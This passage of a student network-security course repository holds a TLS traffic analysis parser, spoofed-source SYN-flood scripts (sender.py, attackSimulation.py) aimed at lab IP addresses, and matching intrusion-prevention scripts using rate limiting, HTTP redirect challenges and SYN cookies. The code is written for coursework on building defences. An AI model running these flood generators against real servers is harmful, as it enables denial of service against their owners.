--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task2/TeamV.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task2/Weather.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task2/Weather.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task3/aliexpress.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task3/aliexpress.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task3/graph.dot:
--------------------------------------------------------------------------------
1 | digraph G1{
2 | start -> client_hello[label="83",weight="83"];
3 | start -> application_data[label="17",weight="17"];
4 | client_hello -> server_hello[label="55",weight="55"];
5 | client_hello -> end[label="45",weight="45"];
6 | server_hello -> client_key_exchange[label="75",weight="75"];
7 | server_hello -> change_cipher_spec[label="25",weight="25"];
8 | server_hello -> application_data[label="0",weight="0"];
9 | certificate -> application_data[label="100",weight="100"];
10 | client_key_exchange -> change_cipher_spec[label="99",weight="99"];
11 | client_key_exchange -> application_data[label="1",weight="1"];
12 | change_cipher_spec -> change_cipher_spec[label="11",weight="11"];
13 | change_cipher_spec -> application_data[label="89",weight="89"];
14 | application_data -> server_hello[label="4",weight="4"];
15 | application_data -> change_cipher_spec[label="18",weight="18"];
16 | application_data -> application_data[label="64",weight="64"];
17 | application_data -> end[label="14",weight="14"];
18 | }
19 | digraph G2{
20 | start -> client_hello[label="99",weight="99"];
21 | start -> application_data[label="1",weight="1"];
22 | client_hello -> server_hello[label="63",weight="63"];
23 | client_hello -> end[label="37",weight="37"];
24 | server_hello -> server_hello[label="11",weight="11"];
25 | server_hello -> client_key_exchange[label="61",weight="61"];
26 | server_hello -> change_cipher_spec[label="28",weight="28"];
27 | server_hello -> application_data[label="0",weight="0"];
28 | certificate -> application_data[label="100",weight="100"];
29 | client_key_exchange -> change_cipher_spec[label="93",weight="93"];
30 | client_key_exchange -> application_data[label="7",weight="7"];
31 | change_cipher_spec -> certificate[label="3",weight="3"];
32 | change_cipher_spec -> client_key_exchange[label="3",weight="3"];
33 | change_cipher_spec -> change_cipher_spec[label="14",weight="14"];
34 | change_cipher_spec -> application_data[label="80",weight="80"];
35 | application_data -> server_hello[label="5",weight="5"];
36 | application_data -> client_key_exchange[label="2",weight="2"];
37 | application_data -> change_cipher_spec[label="13",weight="13"];
38 | application_data -> application_data[label="69",weight="69"];
39 | application_data -> end[label="11",weight="11"];
40 | }
41 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task3/python_data_reader.py:
--------------------------------------------------------------------------------
1 | import sys
2 | from StringIO import StringIO
3 | import scapy
4 | #from scapy.layers.ssl_tls import *
5 | from scapy_ssl_tls.ssl_tls import *
6 | import socket
7 |
8 | textTracer = "###[ SSL/TLS ]###"
9 |
10 | inputFileName = "aliexpress.pcap"
11 | outFileName = "rawData.txt"
12 |
13 | print("Data Parser by Umeer Mohammad - Student Code: 4748549\n")
14 |
15 |
16 | if len(sys.argv) != 2:
17 | print("Warning: The pcap file is not specified hence the aliexpress.pcap will be automatically used...\n")
18 |
19 | if len(sys.argv) == 2:
20 | inputFileName = sys.argv[1];
21 |
22 |
23 | print ("==================> Data Parsing Stage 1 <=====================")
24 |
25 | file = open(outFileName,"w")
26 |
27 |
28 | packets = rdpcap(inputFileName)
29 | counter = 1
30 | for packet in packets:
31 | print("Packet Parsed", counter)
32 |
33 | capture = StringIO()
34 | save_stdout = sys.stdout
35 | sys.stdout = capture
36 | print("################# this is a packet ", counter)
37 | packet.show()
38 | print("")
39 | sys.stdout = save_stdout
40 | string = capture.getvalue()
41 |
42 | if textTracer in string:
43 | file.write(string)
44 |
45 | counter = counter +1
46 |
47 | #if counter ==15:
48 | #exit()
49 |
50 |
51 | file.close()
52 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task3/run.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | apt-get update
5 | sudo apt-get install python-scapy
6 | sudo apt install python-pip
7 | sudo -H pip install --upgrade pip
8 | sudo -H pip install scapy-ssl_tls
9 | sudo apt install graphviz
10 |
11 | #sudo apt-get install libpcap-dev
12 |
13 | python ./python_data_reader.py $1
14 | echo
15 | sudo gcc -o tmpProgram4748549 Task3-UmeerM.c -lm
16 | sudo ./tmpProgram4748549
17 | sudo rm tmpProgram4748549
18 | dot -Tps graph.dot -o imageGraph.ps
--------------------------------------------------------------------------------
/Project 5/Project files/Task3/tableDataOutput.txt:
--------------------------------------------------------------------------------
1 | Table: #1
2 | 0 0 83 0 0 0 0 0 0 0 0 0 17 0 0
3 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
4 | 0 0 0 55 0 0 0 0 0 0 0 0 0 0 45
5 | 0 0 0 0 0 0 0 0 0 75 0 25 0 0 0
6 | 0 0 0 0 0 0 0 0 0 0 0 0 100 0 0
7 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
8 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
9 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
10 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
11 | 0 0 0 0 0 0 0 0 0 0 0 99 1 0 0
12 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13 | 0 0 0 0 0 0 0 0 0 0 0 11 89 0 0
14 | 0 0 0 4 0 0 0 0 0 0 0 18 64 0 14
15 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
16 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
17 | Table: #2
18 | 0 0 99 0 0 0 0 0 0 0 0 0 1 0 0
19 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
20 | 0 0 0 63 0 0 0 0 0 0 0 0 0 0 37
21 | 0 0 0 11 0 0 0 0 0 61 0 28 0 0 0
22 | 0 0 0 0 0 0 0 0 0 0 0 0 100 0 0
23 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
24 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
25 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
26 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
27 | 0 0 0 0 0 0 0 0 0 0 0 93 7 0 0
28 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
29 | 0 0 0 0 3 0 0 0 0 3 0 14 80 0 0
30 | 0 0 0 5 0 0 0 0 0 2 0 13 69 0 11
31 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
32 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
33 |
--------------------------------------------------------------------------------
/Project 5/Project files/Week5 - Umeer Mohammad.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Week5 - Umeer Mohammad.pdf
--------------------------------------------------------------------------------
/Project 6/Project description/Project 6 - Description.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 6/Project description/Project 6 - Description.pdf
--------------------------------------------------------------------------------
/Project 6/Project description/Project 6 - Extra Description.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 6/Project description/Project 6 - Extra Description.pdf
--------------------------------------------------------------------------------
/Project 6/Project description/What to include in your submission.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Assignment 1:
7 | - Report of chosen measurment startegy
8 | - Source code of implemented test
9 | - Report of test results
10 |
11 | Assignment 2:
12 | - Report on chosen strategy
13 | - Source code of implemented startegy
14 | - Source code used for testing
15 |
16 | Assignment 3:
17 | - Report
18 |
19 | Assignment 4:
20 | - Test code
21 | - Source code of implemented protection
22 |
23 | Assignment 5:
24 | - Report
25 | - source code of implemented protection
26 |
27 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task1/runSender.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | sudo apt-get update
5 |
6 | sudo apt-get install python-scapy
7 | sudo apt install python-pip
8 | sudo -H pip install --upgrade pip
9 | sudo -H pip install scapy-ssl_tls
10 | sudo apt-get install libpcap-dev
11 |
12 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
13 | sudo pip install NetfilterQueue
14 |
15 | sudo iptables -F
16 |
17 | sudo python sender.py
--------------------------------------------------------------------------------
/Project 6/Project files/Task1/runSniffer.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 |
3 | clear
4 |
5 | sudo apt-get update
6 |
7 | sudo apt-get install apache2 -y
8 |
9 | sudo apt-get install python-scapy
10 | sudo apt install python-pip
11 | sudo -H pip install --upgrade pip
12 | sudo -H pip install scapy-ssl_tls
13 | sudo apt-get install libpcap-dev
14 |
15 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
16 | sudo pip install NetfilterQueue
17 |
18 | sudo iptables -F
19 | sudo iptables -A OUTPUT -p tcp -j NFQUEUE --queue-num 1
20 | sudo python sniffer.py
21 | sudo iptables -F
--------------------------------------------------------------------------------
/Project 6/Project files/Task1/sender.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 | import atexit
3 |
4 | import threading
5 | from threading import Thread
6 |
7 |
8 | SERVER_IP = "192.168.1.112"
9 |
10 |
11 | LISTENER_PORT = 49174 # port on which i'm listeting
12 |
13 |
14 | attackSize = 0
15 | counter = 0
16 | seq = 1000
17 | sport = 49173
18 | dport = 80
19 |
20 |
21 |
22 | def exit_handler():
23 | print '\n\nThe number of max tcp complete append is:'+str(counter)
24 |
25 | atexit.register(exit_handler)
26 |
27 |
28 |
29 |
30 | ## Define our Custom Action function
31 | def custom_action(packet):
32 | #print packet.show()
33 | global counter
34 | counter += 1
35 |
36 | def func1():
37 | # Setup sniff, filtering for IP traffic
38 | sniff(iface= "enp0s3", filter="udp and dst port "+str(LISTENER_PORT), prn=custom_action)
39 |
40 |
41 |
42 | def func2():
43 | # SYN injection generator
44 | global attackSize
45 | s = conf.L3socket(iface='enp0s3')
46 | for z in range(1, 254):
47 | for y in range(1, 254):
48 | for x in range(1, 254):
49 | attackSize = attackSize + 1
50 | stringIp = '10.'+ str(z)+"."+ str(y)+"."+ str(x)
51 | print "Attack size:"+ str(attackSize)+' Number of Half Connection Established: '+str(counter)
52 |
53 | ip = IP(src=stringIp, dst=SERVER_IP)
54 | syn = TCP(sport=sport, dport=dport, flags='S', seq=seq)
55 | packet = ip/syn
56 | s.send(packet)
57 |
58 |
59 | if __name__ == '__main__':
60 | Thread(target = func1).start()
61 | Thread(target = func2).start()
62 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task1/sniffer.py:
--------------------------------------------------------------------------------
1 | import logging
2 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
3 | from scapy.all import *
4 | import atexit
5 | from netfilterqueue import NetfilterQueue
6 |
7 |
8 | LISTENER_HOST = "192.168.1.113" #this is mt ip address and is where i listen the UDP packets
9 | LISTENER_PORT = 49174 #port of the attacker where he is listening
10 |
11 |
12 |
13 | #Type of packet
14 | FIN = 0x01
15 | SYN = 0x02
16 | RST = 0x04
17 | PSH = 0x08
18 | ACK = 0x10
19 | FINACK = 0x11
20 | SYNACK = 0x12
21 | URG = 0x20
22 | ECE = 0x40
23 | CWR = 0x80
24 |
25 |
26 | def exit_handler():
27 | print '\n\nThe number of max half tcp connnection is:'+str(counter)
28 |
29 | atexit.register(exit_handler)
30 |
31 | counter = 0
32 | lst = []
33 |
34 | def isANewOne(string):
35 | for item in lst:
36 | if string == item:
37 | return 0
38 |
39 | lst.append(string)
40 | return 1
41 |
42 | ## Define The Custom Sniffing function
43 | def print_and_accept(packet):
44 | data = IP(packet.get_payload())
45 | packet.drop()
46 |
47 | global counter
48 | if(data.haslayer('TCP')):
49 | curr_flag = data['TCP'].flags
50 | if((curr_flag & SYN) and (curr_flag & ACK)):
51 | if isANewOne(data[IP].dst) == 1: # let's notify about this packet
52 | counter += 1
53 | send(IP(src= data[IP].dst, dst=LISTENER_HOST)/UDP(dport=LISTENER_PORT))
54 | print 'Packet SYN-ACK #{}: {} ==> {}'.format(counter, data[IP].src, data[IP].dst)
55 |
56 | # ## Setup sniff, filtering for IP traffic
57 | # sniff(iface= "enp0s3", filter="tcp and dst port 49173", prn=custom_action)
58 |
59 |
60 |
61 | nfqueue = NetfilterQueue()
62 | nfqueue.bind(1, print_and_accept)
63 |
64 | try:
65 | nfqueue.run()
66 | except KeyboardInterrupt:
67 | print('')
68 |
69 |
70 |
71 | nfqueue.unbind()
--------------------------------------------------------------------------------
/Project 6/Project files/Task2/IPS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from netfilterqueue import NetfilterQueue
3 | import threading, time
4 |
5 | from scapy.config import conf
6 | from scapy.supersocket import L3RawSocket
7 | from scapy.all import *
8 |
9 |
10 | #Type of packet
11 | FIN = 0x01
12 | SYN = 0x02
13 | RST = 0x04
14 | PSH = 0x08
15 | ACK = 0x10
16 | FINACK = 0x11
17 | SYNACK = 0x12
18 | URG = 0x20
19 | ECE = 0x40
20 | CWR = 0x80
21 |
22 |
23 | SERVER_IP = "192.168.1.113"
24 | THRESHOLD = 2
25 |
26 | ipList = []
27 | packetList = []
28 | reqCounter = []
29 |
30 | outGoingPacket = []
31 |
32 | kruger = ""
33 |
34 |
35 | lock = threading.Lock()
36 |
37 |
38 | def sendRST(stringIp,sportI):
39 | conf.L3socket=L3RawSocket
40 | ip = IP(src=stringIp,dst=SERVER_IP)
41 | syn = TCP(sport=sportI, dport=80, flags='R', seq=1000)
42 | packet = ip/syn
43 | send(packet,iface="lo")
44 | print "packet rst sent"
45 |
46 |
47 |
48 |
49 | def isAllGood(data, packet):
50 | for i in range (len(ipList)):
51 | if data[IP].src == ipList[i]:
52 | reqCounter[i] = reqCounter[i] + 1
53 | print "This appered #"+ str(reqCounter[i])+" times"
54 | if reqCounter[i] > THRESHOLD:
55 | if reqCounter[i]-1==THRESHOLD:
56 | sendRST(data[IP].src, data[TCP].sport)
57 | #sendSYN(data[IP].src, data[TCP].sport, data[TCP].seq)#sendRST(string,sport)
58 | global packetList
59 | packetList.append(packet)
60 | return 0
61 | else:
62 | return 1
63 |
64 | ipList.append(data[IP].src)
65 | reqCounter.append(0)
66 | print "It is a new IP"
67 | return 1
68 |
69 | def sendOutKruger(ipString):
70 | global packetList
71 |
72 | for j in range (len(packetList)):
73 | data = IP(packetList[j].get_payload())
74 | thisPacketIpAddress = data[IP].src
75 | if thisPacketIpAddress == ipString:
76 | packetList[j].accept()
77 | packetList.pop(j)
78 | return
79 |
80 |
81 |
82 |
83 | def delayer(running): #this function send the packet after are being slow down
84 | while running.is_set():
85 | lock.acquire()
86 | try:
87 | for i in range (len(ipList)):
88 | if reqCounter[i]>THRESHOLD:
89 | sendOutKruger(ipList[i])
90 | print "ip: "+ ipList[i] + " has been sent remain: "+ str(reqCounter[i]-1)
91 | #sendSYNPRO(ipList[i])
92 | #outGoingPacket.append(ipList[i])
93 | if reqCounter[i]>0:
94 | reqCounter[i]=reqCounter[i]-1
95 | print "cool down for ip: " + ipList[i] +" is now "+ str(reqCounter[i])
96 | finally:
97 | lock.release()
98 |
99 | time.sleep(1)
100 |
101 |
102 | def removeIPFromList(data):
103 | global packetList
104 |
105 | print "start data removed for this packet"
106 | for j in range (len(packetList)):
107 | data2 = IP(packetList[j].get_payload())
108 | thisPacketIpAddress = data2[IP].src
109 | if data[IP].src == thisPacketIpAddress:
110 | packetList.pop(j)
111 |
112 | for k in range (len(ipList)):
113 | if ipList[k] == data[IP].src:
114 | ipList.pop(k)
115 | reqCounter.pop(k)
116 | print "data removed for this packet"
117 |
118 |
119 |
120 |
121 | def print_and_accept(packet):
122 |
123 | lock.acquire()
124 | try:
125 | data = IP(packet.get_payload())
126 |
127 | if data.tos == 0:
128 | print (data[IP].src)+" "+str(data[TCP].sport)
129 | typeTCP = data[TCP].flags
130 | #data.show()
131 |
132 | if typeTCP & SYN and typeTCP & ACK:
133 | print "this is a SYN ACK"
134 | else:
135 | if typeTCP & FIN and typeTCP & ACK:
136 | print "this is a FIN ACK"
137 | else:
138 | if typeTCP & SYN:
139 | print "this is a SYN"
140 | if isAllGood(data, packet) == 1:
141 | packet.accept()
142 | return
143 | else:
144 | print "this is fishy, let slow it down-> kruger mode"
145 | return
146 | else:
147 | if typeTCP & FIN:
148 | print "this is a FIN"
149 | else:
150 | if typeTCP & ACK:
151 | print "this is a ACK"
152 | #removeIPFromList(data)
153 | else:
154 | if typeTCP & RST:
155 | print "this is a RST"
156 |
157 | packet.accept()
158 | finally:
159 | lock.release()
160 |
161 |
162 |
163 |
164 | running = threading.Event()
165 | running.set()
166 |
167 | thread = threading.Thread(target=delayer, args=(running,))
168 | thread.start()
169 |
170 | nfqueue = NetfilterQueue()
171 | nfqueue.bind(1, print_and_accept)
172 |
173 |
174 |
175 | try:
176 | nfqueue.run()
177 | except KeyboardInterrupt:
178 | print('')
179 |
180 | running.clear()
181 | thread.join()
182 |
183 | nfqueue.unbind()
--------------------------------------------------------------------------------
/Project 6/Project files/Task2/attackSimulation.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 | import atexit
3 |
4 | import threading
5 | from threading import Thread
6 | import time
7 |
8 |
9 | SERVER_IP = "192.168.1.113"
10 | SERVER_PORT = 80
11 |
12 |
13 | counter = 0
14 | seq = 1000
15 | sport = 49173
16 |
17 |
18 | # here is a basic attack made by two ips
19 |
20 | s = conf.L3socket(iface='enp0s3')
21 | for i in range(1, 99999):
22 |
23 | print "Attack #" +str(i)
24 |
25 | stringIp = "192.168.1.30"
26 | ip = IP(src=stringIp, dst=SERVER_IP)
27 | syn = TCP(sport=sport, dport=SERVER_PORT, flags='S', seq=seq)
28 | packet = ip/syn
29 | s.send(packet)
30 |
31 | stringIp = "192.168.1.28"
32 | ip = IP(src=stringIp, dst=SERVER_IP)
33 | syn = TCP(sport=sport, dport=SERVER_PORT, flags='S', seq=seq)
34 | packet = ip/syn
35 | s.send(packet)
36 |
37 | time.sleep(0.4)
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task2/runAttackSimulation.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | sudo apt-get update
5 |
6 | sudo apt-get install python-scapy
7 | sudo apt install python-pip
8 | sudo -H pip install --upgrade pip
9 | sudo -H pip install scapy-ssl_tls
10 | sudo apt-get install libpcap-dev
11 |
12 |
13 |
14 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
15 | sudo pip install NetfilterQueue
16 |
17 | sudo iptables -F
18 |
19 | sudo python attackSimulation.py
20 |
21 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task2/runIPS.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | sudo apt-get update
5 |
6 | sudo apt-get install apache2 -y
7 |
8 | sudo apt-get install python-scapy
9 | sudo apt install python-pip
10 | sudo -H pip install --upgrade pip
11 | sudo -H pip install scapy-ssl_tls
12 | sudo apt-get install libpcap-dev
13 |
14 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
15 | sudo pip install NetfilterQueue
16 |
17 | sudo iptables -F
18 | sudo iptables -A INPUT -p tcp --dport 80 -j NFQUEUE --queue-num 1
19 | sudo python IPS.py
20 | sudo iptables -F
21 |
22 |
23 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task4/IPS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from netfilterqueue import NetfilterQueue
3 | import threading, time, os
4 |
5 | from scapy.config import conf
6 | from scapy.supersocket import L3RawSocket
7 | from scapy.all import *
8 | import scapy_http.http
9 |
10 |
11 |
12 | HASH_SEED = "Ciao Mondo"
13 |
14 | INTERFACE_NAME = "enp0s3"
15 |
16 |
17 | listIpToConfirm = []
18 | requestedSite = []
19 |
20 | listIpSecure = []
21 |
22 |
23 | def make_random_password():
24 | return ''+str(os.urandom(16))
25 |
26 |
27 | def isNew(packet):
28 | for i in range (len(listIpToConfirm)):
29 | if listIpToConfirm[i] == packet['IP'].src:
30 | return 0
31 | return 1
32 |
33 | def getRequestedSite (packet):
34 | for i in range (len(listIpToConfirm)):
35 | if listIpToConfirm[i] == packet['IP'].src:
36 | return requestedSite[i]
37 |
38 | def removeIp(packet):
39 | for i in range (len(listIpToConfirm)):
40 | if listIpToConfirm[i] == packet['IP'].src:
41 | listIpToConfirm.pop(i)
42 | requestedSite.pop(i)
43 |
44 | def isSecure(packet):
45 | for i in range (len(listIpSecure)):
46 | if listIpSecure[i] == packet['IP'].src:
47 | return 1
48 | return 0
49 |
50 | def buildChallengeRequestSite(packet):
51 | return "/?"+str(hash(packet['IP'].src + HASH_SEED))
52 |
53 |
54 |
55 | def sendRedirectionPacket(pkt, redirectionSite):
56 | conf.L3socket = L3RawSocket
57 | info = "HTTP/1.1 302 Found\r\nLocation: " + redirectionSite + "\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
58 | resp_http = IP(src=pkt['IP'].dst, dst=pkt['IP'].src)/TCP(sport=pkt['TCP'].dport, dport=pkt['TCP'].sport, flags="PA", seq=pkt['TCP'].ack , ack=pkt['TCP'].seq + (pkt['IP'].len - 52))
59 | send(resp_http/Raw(load=info),iface=INTERFACE_NAME)
60 |
61 |
62 |
63 | def print_and_accept(packet):
64 |
65 | data = IP(packet.get_payload())
66 |
67 | if data.haslayer("HTTP") and data["HTTP"].Method == "GET": #let filter out all the interesting packet
68 |
69 | print "method: "+ data["HTTP"].Method + " path: "+ data["HTTP"].Path
70 |
71 | if isSecure(data) == 1:#The ip is trusted
72 | print "is now secure"
73 | packet.accept();
74 | return
75 | else:
76 | if isNew(data) == 1: #This is the first time that i see this packet
77 | print "never saw this ip"
78 | listIpToConfirm.append(data[IP].src)
79 | requestedSite.append(data["HTTP"].Path)
80 | sendRedirectionPacket(data, buildChallengeRequestSite(data))
81 | else:
82 | print "ip already seen" # This is the second time i see a GET req
83 | if data["HTTP"].Path == buildChallengeRequestSite(data):
84 | print "redirection successful"
85 | listIpSecure.append(data[IP].src)
86 | sendRedirectionPacket(data, getRequestedSite(data))
87 | removeIp(data)
88 | packet.drop()
89 | return
90 |
91 | packet.accept()
92 |
93 | HASH_SEED = make_random_password()
94 |
95 |
96 |
97 | nfqueue = NetfilterQueue()
98 | nfqueue.bind(1, print_and_accept)
99 |
100 |
101 | try:
102 | nfqueue.run()
103 | except KeyboardInterrupt:
104 | print('')
105 |
106 | nfqueue.unbind()
--------------------------------------------------------------------------------
/Project 6/Project files/Task4/attackSimulation.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 | import atexit
3 |
4 | import threading
5 | from threading import Thread
6 | import time
7 |
8 |
9 | SERVER_IP = "192.168.1.113"
10 | SERVER_PORT = 80
11 |
12 |
13 | counter = 0
14 | seq = 1000
15 | sport = 49173
16 |
17 |
18 | # here is a basic attack made by two ips
19 |
20 | s = conf.L3socket(iface='enp0s3')
21 |
22 | for i in range(1, 99999):
23 |
24 | print "Sending packet ..."
25 | stringIp = "192.168.1.30"
26 | ip = IP(src=stringIp, dst=SERVER_IP)
27 | syn = TCP(sport=sport, dport=SERVER_PORT, flags='S', seq=seq)
28 | packet = ip/syn
29 | s.send(packet)
30 |
31 | time.sleep(0.4)
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task4/run.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | sudo apt-get update
5 |
6 | sudo apt-get install python-scapy
7 | sudo apt install python-pip
8 | sudo -H pip install --upgrade pip
9 | sudo -H pip install scapy-ssl_tls
10 | sudo apt-get install libpcap-dev
11 | sudo pip install scapy-http
12 |
13 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
14 | sudo pip install NetfilterQueue
15 |
16 | sudo iptables -F
17 | sudo iptables -A INPUT -p tcp --dport 80 -j NFQUEUE --queue-num 1
18 | sudo python IPS.py
19 | sudo iptables -F
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task4/runAttackSimulation.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | sudo apt-get update
5 |
6 | sudo apt-get install python-scapy
7 | sudo apt install python-pip
8 | sudo -H pip install --upgrade pip
9 | sudo -H pip install scapy-ssl_tls
10 | sudo apt-get install libpcap-dev
11 |
12 |
13 |
14 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
15 | sudo pip install NetfilterQueue
16 |
17 | sudo iptables -F
18 |
19 | sudo python attackSimulation.py
20 |
21 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task4/runSender.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | sudo apt-get update
5 |
6 | sudo apt-get install python-scapy
7 | sudo apt install python-pip
8 | sudo -H pip install --upgrade pip
9 | sudo -H pip install scapy-ssl_tls
10 | sudo apt-get install libpcap-dev
11 |
12 | sudo apt-get install build-essential python-dev libnetfilter-queue-dev
13 | sudo pip install NetfilterQueue
14 |
15 | sudo iptables -F
16 |
17 | sudo python sender.py
--------------------------------------------------------------------------------
/Project 6/Project files/Task4/sender.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 | import atexit
3 |
4 | import threading
5 | from threading import Thread
6 |
7 |
8 | SERVER_IP = "192.168.1.112"
9 |
10 |
11 | LISTENER_PORT = 49174 # port on which i'm listeting
12 |
13 |
14 | attackSize = 0
15 | counter = 0
16 | seq = 1000
17 | sport = 49173
18 | dport = 80
19 |
20 |
21 |
22 | def exit_handler():
23 | print '\n\nThe number of max tcp complete append is:'+str(counter)
24 |
25 | atexit.register(exit_handler)
26 |
27 |
28 |
29 |
30 | ## Define our Custom Action function
31 | def custom_action(packet):
32 | #print packet.show()
33 | global counter
34 | counter += 1
35 |
36 | def func1():
37 | # Setup sniff, filtering for IP traffic
38 | sniff(iface= "enp0s3", filter="udp and dst port "+str(LISTENER_PORT), prn=custom_action)
39 |
40 |
41 |
42 | def func2():
43 | # SYN injection generator
44 | global attackSize
45 | s = conf.L3socket(iface='enp0s3')
46 | for z in range(1, 254):
47 | for y in range(1, 254):
48 | for x in range(1, 254):
49 | attackSize = attackSize + 1
50 | stringIp = '10.'+ str(z)+"."+ str(y)+"."+ str(x)
51 | print "Attack size:"+ str(attackSize)+' Number of Half Connection Established: '+str(counter)
52 |
53 | ip = IP(src=stringIp, dst=SERVER_IP)
54 | syn = TCP(sport=sport, dport=dport, flags='S', seq=seq)
55 | packet = ip/syn
56 | s.send(packet)
57 |
58 |
59 | if __name__ == '__main__':
60 | Thread(target = func1).start()
61 | Thread(target = func2).start()
62 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/Project 6/Project files/Task5/IPS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from netfilterqueue import NetfilterQueue
3 | import threading, time, datetime, os
4 | from datetime import timedelta
5 |
6 | from scapy.config import conf
7 | from scapy.supersocket import L3RawSocket
8 | from scapy.all import *
9 | import scapy_http.http
10 |
11 |
12 | #Type of packet
13 | FIN = 0x01
14 | SYN = 0x02
15 | RST = 0x04
16 | PSH = 0x08
17 | ACK = 0x10
18 | FINACK = 0x11
19 | SYNACK = 0x12
20 | URG = 0x20
21 | ECE = 0x40
22 | CWR = 0x80
23 |
24 |
25 | INTERFACE_NAME = "enp0s3"
26 | SERVER_IP = "192.168.1.113"
27 | SERVER_PORT = 80
28 | HASH_SEED_SECRET = ""
29 |
30 |
31 | ipTrust = []
32 | seqNumerOfIpTrust = []
33 |
34 | ipWhiteList = []
35 |
36 |
37 | packetToIgnore = []
38 |
39 |
40 |
41 | def make_random_password():
42 | return ''+str(os.urandom(16))
43 |
44 |
45 |
46 | def isThisToIgnore (packetCode):
47 | for j in range (len(packetToIgnore)):
48 | if packetCode == packetToIgnore[j]:
49 | return 1
50 | else:
51 | return 0
52 |
53 |
54 | def removePacketToIgnore(packetCode):
55 | for j in range (len(packetToIgnore)):
56 | if packetCode == packetToIgnore[j]:
57 | packetToIgnore.pop(j)
58 |
59 |
60 |
61 | def sendRST(stringIp,sportI):
62 | conf.L3socket=L3RawSocket
63 | ip = IP(src=stringIp,dst=SERVER_IP)
64 | syn = TCP(sport=sportI, dport=SERVER_PORT, flags='R', seq=1000)
65 | packet = ip/syn
66 | send(packet,iface="lo")
67 | print "packet rst sent"
68 |
69 |
70 |
71 | def sendSYNACK(packet): # To the client
72 | cookie = buildCookie(packet)
73 | seqe = packet[TCP].seq +1
74 | print "out - this is a SYN-ACK with seq:"+ str(cookie) + " ack:"+ str(seqe)
75 | s = conf.L3socket(iface=INTERFACE_NAME)
76 | ip = IP(src=SERVER_IP, dst=packet[IP].src)
77 | syn = TCP(sport=SERVER_PORT, dport=packet[TCP].sport, flags='SA', seq=cookie, ack= seqe)
78 | packet = ip/syn
79 | s.send(packet)
80 |
81 | def sendSYN(packet): # To the server
82 | num = packet[TCP].seq-1 # it should be -2 but my client is not increasing the seq in the ack
83 | print "ignore this " + str(num)
84 | packetToIgnore.append(num)
